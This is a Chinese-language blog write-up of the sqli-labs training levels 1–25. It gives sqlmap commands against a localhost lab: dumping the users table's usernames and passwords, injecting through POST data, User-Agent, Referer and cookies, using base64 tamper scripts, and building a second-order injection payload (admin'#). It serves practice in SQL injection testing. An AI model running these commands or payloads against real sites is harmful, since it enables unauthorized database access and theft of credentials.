注意点:
-
sqlmap 需要 python 的环境,并配置环境变量
-
在实际检测过程中,sqlmap 会不停的询问,需要手工输入Y/N来进行下一步操作,可以使用参数
--batch
命令来自动答复和判断 -
用 sqlmap 工具注入完毕后,C 盘 AppData 文件夹下会有缓存文件夹,不删掉的话会影响 SQL 注入结果
C:\Users\20846\AppData\Local\sqlmap\output
,也可用sqlmap.py --purge
来清空缓存
Less-1
python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" --batch --banner
# --batch 从不询问用户输入,使用所有默认配置,换言之对所有的交互式的都是默认的
# -b, --banner 获取数据库管理系统的标识
# 查看数据库
python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" --dbs
爆出数据库名
# sqlmap -u ["URL"] -D ["数据库名"] --tables //查询当前数据库中的所有表
python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" -D security --tables
查询 security 数据库中的所有表
# sqlmap -u ["URL"] -D ["数据库名"] -T ["表名"] --columns //查询指定库中指定表的所有列(字段)
python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" -D security -T users --columns
查看 security 数据库下的 users 表里都有哪些字段
# sqlmap -u -D security -T users -C id,password,username --dump
# 爆出数据库 security 中的 users 表中的 id,password,username 列中的所有数据
python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" -D security -T users -C id,password,username --dump
# --dump 将结果保存下来
查看列字段的具体值
Less-2
以下操作都是基于 Less-1 的步骤,如法炮制而来
sqlmap -u http://localhost/sqli-labs/Less-2/?id=1 --batch --dbs
找到数据库
Less-3
sqlmap -u http://localhost/sqli-labs/Less-3/?id=1 --batch --dbs
Less-4
sqlmap -u http://localhost/sqli-labs/Less-4/?id=1 --batch --dbs
Less-5
sqlmap -u http://localhost/sqli-labs/Less-5/?id=1 --batch --dbs
Less-6
sqlmap -u http://localhost/sqli-labs/Less-6/?id=1 --batch --dbs
Less-7
sqlmap -u http://localhost/sqli-labs/Less-7/?id=1 --batch --dbs
Less-8
sqlmap -u http://localhost/sqli-labs/Less-8/?id=1 --batch --dbs
Less-9
sqlmap -u http://localhost/sqli-labs/Less-9/?id=1 --batch --dbs
Less-10
sqlmap -u http://localhost/sqli-labs/Less-10/?id=1 -level=2 --batch --dbs
# 当level=2时,会测试cookie注入。当level=3时,会测试user-agent/referer注入
Less-11
sqlmap -u http://localhost/sqli-labs/Less-11/index.php --batch --data "uname=admin&passwd=admin&submit=Submit" --dbs
# 从该关开始,注入的位置不再是 URL,且请求变为了 POST,因此命令要随之而变。对于是 post 提交数据的 URL,需要指定其 data 参数,--data 能够抓取其 post 提交的数据填入
# 还有一种方法是:因为 Less-11 该关需要进行登录,可以先用账号 admin 密码 admin 登录,然后用 burp 抓包,将 burp 抓取的包保存为 target.txt,利用 sqlmap -r target.txt 命令,来探测 target.txt 文件中的 http 数据包是否存在 sql 注入漏洞
sqlmap -r target.txt
Less-12
sqlmap -u http://localhost/sqli-labs/Less-12/index.php --data "uname=admin&passwd=admin&submit=Submit" --batch --dbs
![Snipaste_2023-01-03_10-20-34](sqli-labs 靶场使用 Sqlmap.assets/Snipaste_2023-01-03_10-20-34.png)
Less-13
sqlmap -u http://localhost/sqli-labs/Less-13/index.php --data "uname=admin&passwd=admin&submit=Submit" --batch --dbs
Less-14
sqlmap -u http://localhost/sqli-labs/Less-14/index.php --data "uname=admin&passwd=admin&submit=Submit" --batch --dbs
Less-15
sqlmap -u http://localhost/sqli-labs/Less-15/index.php --data "uname=admin&passwd=admin&submit=Submit" --dbs --batch
以下略去
Less-16
sqlmap -u http://localhost/sqli-labs/Less-16/index.php --data "uname=admin&passwd=admin&submit=Submit" --batch --dbs --level=2
Less-17
sqlmap -u http://localhost/sqli-labs/Less-17/index.php --data "uname=admin&passwd=admin&submit=Submit" --batch --dbs
Less-18
# 注入的位置在 User-Agent 中
sqlmap -u http://localhost/sqli-labs/Less-18/ --data="uname=admin&passwd=admin&submit=Submit" --batch --user-agent="*" --thread=10 --dbs
# --thread=10,设置多线程,并行处理请求加快效率
# --user-agent="*" 是用来指定 User-Agent
Less-19
# 注入的位置在 Referer 中
sqlmap -u "http://localhost/sqli-labs/Less-19/" --data="uname=admin&passwd=admin&submit=Submit" --batch --referer="*" --thread=10 --dbs
# --referer,伪造 referer 字段
Less-20
# 注入的位置在 cookie 中
sqlmap -u http://localhost/sqli-labs/Less-20/index.php --cookie="uname=admin" --dbs --batch --level=5 --risk=3
# 同样,可以用 burp 抓包保存 ,殊途同归,第一次失败了,于是提高了线程,这将导致查询速度降低
sqlmap -r target-20.txt --leve=5 --risk=3 --dbs
Less-21
# 注入的位置依旧在 cookie 中,但经过了 base64 加密的,用 sqlmap 来进行联合查询注入
sqlmap -u http://localhost/sqli-labs/Less-21/index.php --cookie="uname=*" --dbs --tamper "base64encode.py" --batch
sqlmap -u http://localhost/sqli-labs/Less-21/index.php --cookie="uname=*" --tamper="base64encode" --dbms=MySQL --random-agent --flush-session --technique=U --dbs --batch -v 3
# --random-agent --> 使用任意的User-Agent爆破
# --flush-session --> sqlmap 扫描的时候会将缓存的数据记录到 output 文件下,下次扫描时会直接调用本地缓存的扫描结果。如果我们想删除缓存结果,重新对某网站进行扫描就需要添加 --flush-session 选项。
# --dbms=MySQ --> 指定其数据库为mysql
# --tamper base64encode --> 对提交的数据进行base64编码
# --technique=U --> 指定注入点类型,u 是指的 union 联合查询注入。其他还有 U/B/T/S
# -v --> 3 能看到 payload
Less-22
sqlmap -u http://localhost/sqli-labs/Less-22/index.php --cookie="uname=*" --dbs --tamper "base64encode.py" --batch
Less-23
sqlmap -u http://localhost/sqli-labs/Less-23/?id=1 --dbs --batch
Less-24
# 这关是二次注入,二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。
# 需要先注册账号 admin'#,然后修改密码,后面的 # 号注释掉了
# Sql 语句变为
UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='
Less-25
sqlmap -u http://localhost/sqli-labs/Less-25/?id=1 --dbs --batch
标签:SQLMap,sqlmap,http,Less,--,labs,sqli
From: https://www.cnblogs.com/yii-ling/p/17043579.html